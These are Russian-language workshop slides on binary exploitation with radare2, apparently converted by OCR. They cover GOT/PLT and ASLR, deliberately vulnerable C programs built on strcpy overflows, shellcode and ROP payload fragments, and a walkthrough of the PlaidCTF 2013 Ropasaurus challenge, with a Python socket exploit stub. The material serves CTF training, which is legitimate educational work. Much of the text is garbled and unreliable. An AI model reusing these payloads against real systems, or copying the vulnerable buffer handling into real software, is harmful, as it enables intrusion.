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Halwa nrposaa naolwaaKa

. Terminal — bash — 80x24
[Ox1f
offset
0x100304350 7e3s
0x100304360 c9c3 5548
0x100304370 4 5a50 Tﬁld
0x100304380 58 5as8 7cle 488d ° 13 ) | . H. whH.
rax UxUDDUUUDDUUDDDDU4 D;DDUUDDUUDUOODDU4 rcx DxUDDDUUD 003042b0
rdx O0x0000000000000000 -di Ox0000000100305220 rsi 0x0000000000000000
rbp O0x0000000100305260 sp 0x0000000100304350 r8 0x000000010014bc74
r9 0x0000000000000000 0x0000000000000000 rll Ox0000000000000000
rlz 0x000000010014a8la 13 0x0000000000000000 rld 0x0000000100304340
ILlS DxUHUHUDDDDDDDODDl i U»HUHDDDDDDDDODUDD rflags =
; 0- 30 mov esi, OxbsS000038
add [rax], eax - ]
add [rax], al | Looks like
jup 0x100002618 [1l] | you need
nov eax, OXELLEEEEE | some help
09 leave 5
c3

push rbp
mov rbp, rsp
nov rdx, [rs3i+0x60]




CTaK

stack frame 1 ¢

stack frame 2 <




= 5



CTaK

Little Endian




ASLR n GOT

Code
Section

GOT

Var #1 address

Var #2 address

Var #3 address

Var #N address

Data
Section

Relative
Offset




—Pp| FLT[0] =

ASLR n GOT

Code:

call func@PLT

PLT:

call resolwver

PLT [n] : -=i

GOT:

GOT [n] :

jmp *GOT[n]

- <addr>

prepare resolver <%

jmp PLT[0]

Code:

call func@PLT

" & &

PLT:

PLT[O] :
call rasaolver

GOT:

GOT (n):
P <addr>

PLT [n] : -
Jmp *GOT[n]

prepare resolver
Jmp PLT[O]

Code:

func : $——




T



Pwn 1

1. HanuncaH cneunanbHO ANA BOPKLIONa
2. Knaccnueckuun npmmep
3. B pe3ynbrate Hanuwem CBOU 3KCNAOUT



Pwn 1

# <string.h>
# <stdio.h>

har *bY) {

char* ftoof hai )

char buff[64];

strcpy(buff, b);

£ = Y
argv)

main{int argc, char
o - _—
(argc > 1)
printf("%p

LAt




Pwn 1

radare# ragg2
ragg2 [-FOLsrxvh] [-a ar 3 b1
[-2 enc] [-B hex] o k=v] [-
radare# ragg2 -P 300 -r

ts] [-k os] [-o filel [ 1]
-C fi1le] [-dDw v] [-p

HHH HHI I_II_I IHH HH HHI1HH HH I_II_I HH:HH I_II_I HH HHI IHH HHI IHH HH HH I_II_I HHI--IHH I_II_I"-I_II_I HH"IHH -..
) A J A LA AN A AW, Y Al

AT AL ~~h~~1~~1uuL~~1~~mu~nuunuupuuquuluéqaufuuuuufua BAX AL Hu—uuluuu

.;P"ul_LtquJ_ -F 200 -r)
segmentation fault ./pwnl $(ragg2 -P 300 -r)




Pwn 1

32 -d rarunz w1l arc



Pwn 1. De Bruijn Pattern

[Oxb76e3d00] - dc
[+] signal 11 aka SIGSEGV recelvec
[0x41614141]> dr=

[0x41614141]> woO elp

[0x41614141]= pxw 4 (@Eeax-
Ox42414141

[Ox41614141] > wol 0x42414141
o

[0x41614141]=> |}




Pwn 1

I_l
I
I
I
I
I
I
I
I
I
I
I_l
I_l
I
I
I
I
I
I
I
I
I
I_l
I_l
I
I
I
I
I
I
I
I
I
I
I
I_l

| CALL EAX |

| PADDING |

|
T L N T N |

| SHELLCODE |

HeT ALSR
HeT NX

HeT Canary




Pwn 1

radare# ragg2 -L

0x551174c0], al; mov ebp, ; sub esp, 0x14;

mow ) ; Suk , O0x14; push 0x804a024;

; sub _
0x14; push ©

; adc




Pwn 1

Baw xoa, aencreymte!



Pwn 1

1 Fi= 4

shellcode "3 oec@ 15BN\ e 8 2T 2P T 3B BN\ B B e 2T\ B 2\ B\ Be \ B9 e 3 58\ x5 3 1B e L\ x99\ xb@\ xBbh\ xcd \ xBa
jmp = "\xb3\x83\x8

padding = 'A’

shellcode + padding - jmp




T



Pwn 2

1. HanuncaH cneunanbHO ANA BOPKLIONa
2. Pa3zbepémca c ROP
3. B pe3ynbrate Hanuwem CBOU 3KCNAOUT



Pwn 2

v NX
* ASLR

x Canary
v System-wide ASLR



Pwn 2

Program Flow:

Attacker
Controlled: .
N\




Pwn 2. ROP-ueno4ka
S

Function to call

Return address

framel <
Parameter 1

Parameter 2

frame2 <




Pwn 2. lcxoaHbIM KOA,

har* cmd){

et(char* cmd) {

buff[128];
strcpy(buff, omd);
printf (“Greetings, %s\n", buff);

¥ g IWIE"

/binfecho "Greetings, '$(/usr/bin/id -nu)}");

(LY -

.lIJ




Pwn 2. Rop
N

system__

framel < 0x41414141

77




Pwn 2. Rop

radare# rz S pwWng

-- W l_= 'l:':' I l SLia -l_
[Ox020483b0] = [
Searching 4 bytes from Ox0B048000 to Ox0804afos8: 7
5 [Ox2048000- 0x204af0s]
1
Ox08048637 hitd 0 "you

[oxos0483bo]= |




Pwn 2. Rop
N

padding <

system__

framel < 0x41414141

0x08048637




Pwn 2

Baw xoa, aencreymte!



Pwn 2. Exploit

1 144
system
payload X
padding "L

padding + system +~ 'BBBEB' payload




- Ropasaurus Rex



Ropasaurus

PlaidCTF 2013

C nomowbto PPP (nobegutenun defcon ctf)
OgHO 13 0OBONBbHO CNOXHbIX CTF

Pelwwnm BmecTe no waram



Ropasaurus

radare# radiffz -a x86 -b32 -C original patched
entry0 0x8048340 | MATCH
__libc_start main 0Ox804831c MATCH
fcn.08048322 0x8048322 MATCH

Nololololalo) Ox8
Nolololololo) OxB804831c
Nolololololo) Ox8048322

048340 entryd _
sym.imp.  libc_

fcn. 08048322

SYm.1mp. start_main

fen.
fen.
Sym.1mp.write
fen.
SYm.
fen.
fen.
fen.
fen.
fen.

fen.
fen.
fen.
fen.
fen.

0804828
08048302

08048312
imp.read
Q048332
OB04833C
08048352
QE0483cS
0804831 3

maln
08048449
020428455
020484ba
080484he
QE0484e s

Ox80482f8
Ox 8048302
0x804830c
OxB8048312
DxEDﬂEE;c
Cx 804
OxBO4833cC
Ox 8048362
Dxﬁﬂﬂ??c5
Ox80483T 3
GILD4U41J
Ox 28048449
Ox 2048425
Ox80484ba
Ox80484he
Ox80484e5

_-_L

radare# radiff2 -a x86 -b32 original

Ox00000401 0001

radare#

- BE00 Ox0D000401

|

|

| MATCH
| MAT CH
| MATCH
| MATCH
| MATCH
| MATCH
| MATCH
| MATCH
| MATCH
| MATCH
| MATCH
| MAT CH
| MATCH
| MATCH
| MATCH
| MATCH
patched

Nololololalo)
Nololololalo))
Nolololololo)
Nololololalo)
Nololololalo))
Nolololololo))
Nololololole))
Nololololalo)
. 0000 )
. 285714)
Nololololalo)
Nololololalo))
Nolololololo)
Nololololalo)
Nololololalo))
Nolololololo))

OxBE0A82TE
Ox 8048302
OxB804830c
OxBE048312
OxB804832C
Ox8048332
OxB04833cC
Dx 8048362
Ox 8 Dﬂ::CS
OxB0483T3
OxB8048 41I
Ox8042449
Ox 2042455
0x80484ba
Dx80484be
OxE0484es

fen.
fen.
Sym.
fen.
Sym.
fen.
fen.
fen.
fen.
fen.
NERY
fen.
fen.
fen.
fen.
fen.

08048218
028048302
1mp.write
08048312
imp.read
DBD4E332
PED4AEZ3C
08048362
OBD4E3CS




Ropasaurus

340] = pdf @

Sym. :i.I'I'I|:I e




Ropasaurus

socat TCP-LISTEN:Z2323, reuseaddr, fork EXEC:./original




Ropasaurus
S

Hanaun yassmmocTb!



Ropasaurus

sub_0x80483f4() {

char buf| 1;
sym.1imp.read(

J



Ropasaurus

v NX
* ASLR

x Canary
v System-wide ASLR



Ropasaurus
S

= CraTnyeckuim aHanus
= De Bruijn Pattern



Ropasaurus
S

= CraTnyeckuim aHanus
= De Bruijn Pattern

140 bytes before overwriting EIP



Ropasaurus
S

Function to call

Unstacking gadget

framel < Parameter 1

Parameter 2

Parameter 3

frame2 <




Ropasaurus.ROP?

Hantu appec libc ana ¢pyHKumm read(1) n BepHyTb B yI3BMMYIO GYHKLMIO
Bbluncantb cmeleHme ansa system(2)

[MpounTaTbh Hally KOMAHAY U 3anNMcaTb Kyaa-HMbyab

Bbi3BaTb system(3)

[lochaTb HaWly KOMaHAy



Ropasaurus. CmelleHmA

0x08048340]= afl~read
32c 6 1 sym.imp.read
2483f32 42 1 sub.read 3f3
08048340] > afl~write
6 1 sym.imp.write

48340] > pd 1 @ sym.1mp.read

plt.read
plt.write
got.read



Ropasaurus. System

2 -d original
1th PID 1508 started...

'Ps <project-filename=' and restore then with 'Po -

¥ v <project-filename='
Continue until Ox 0]
J_bUJ reg:

1T1nq |Hq 1sters O to 1508




Ropasaurus. System

adare# r2 /lib/1386-linux-gnu/libc-2.19.s0 _ _ _ _
- - I1n ni 11 pn| 11 p111 2 lipu. mi wile & ni: sina kama jo e musi

3del0 ord=1442 fwd=NONE sz=56 bind=UMKNOWMN type=FUNC name=system

=179 bind=UNKNOWN type=FUNC name=readdir
' bind=GLOBAL type=FLMNC name=read11ntﬂf
! ) b1nd=UNKMNCWMN Ty
4l C wd=MOME 5z=109 bind=UNKNOWN type=FUNC n%mﬁ—rejd
D ord= lEDJ fwd=NONE sz=150 bind=UNKNCOWN type=FUNC name=readv

) ord=1513 fwd=NONE sz=55 bind=UNKNOWN type=FUNC nﬂm~—|EjJ11nk
) ord=1520 fwd=NONE sz=58 |1n4 UNKNOWN type=FLNC 1ahe.
) ord=1918 T d=MOMNE s S bind=GLOBAL type=FUNC ]
| NONE s2=179 bind=GLOBAL type=FUNC

Wi =NOME s 7 bind=GLOBAL type=FUMNC

wd=MNONE sz=302 bind=GLOBAL type:FUHi




Ropasaurus. Gadgets




[

1c
1c
1c
1c
1c
1c
1c
1c
1c
1c
[

Ropasaurus. Writeable

= _::.'-_.' =

!

name=.ctors
name=.dtors
name=.jcr
=208 perm=-rw- name=.dynamic
perm=-rw- name=.got

Lt

I

8 perm=-rw- name=.got.[
name=.data
SENCENEE
vsz=4096 perm=-rw- name=phdrl
z=52 name=ehdr

L=oL pPErm=-Trw-

PErFM=- M-

e | Y - Y O i R

PEerm=- M-



Ropasaurus. Rop chain
S

STAGE?2
STAGEL1
read@plt
write@plt pop;pop;pop;ret
Pop;pop;pop;ret framel < STDIN
framel <| STDOUT $WRITE_ADDR
read@got 512
4 system
frame2 0x80483f4 frame2 < exit
writeaddr




Ropasaurus
S

Baw xoa, aencreymte!



Ropasaurus. [loackasKka #1

socket
struct
args):

struct.pack('I"“len(args),
writeplt

read_got

_connection(("192.168.1.46", 2323))

~ F

s.send('A" 148 rop(
writeplt,




Pecypchbl
S

= Github repo

= Official website

= Ther2 blog

= The r2 book

= YcTaHOBKa r2

= Twitter

= PeweHne ana 3agaHmna Ropasaurus
= BM ana BopkKLwona



http://github.com/radare/radare2
http://rada.re/
http://radare.today/
http://maijin.github.io/radare2book/
http://dukebarman.pro/na-radare-kak-na-ladoni/
http://twitter.com/radareorg
bit.ly/1xOduOC
http://xvilka.me/zn-radare2.ova

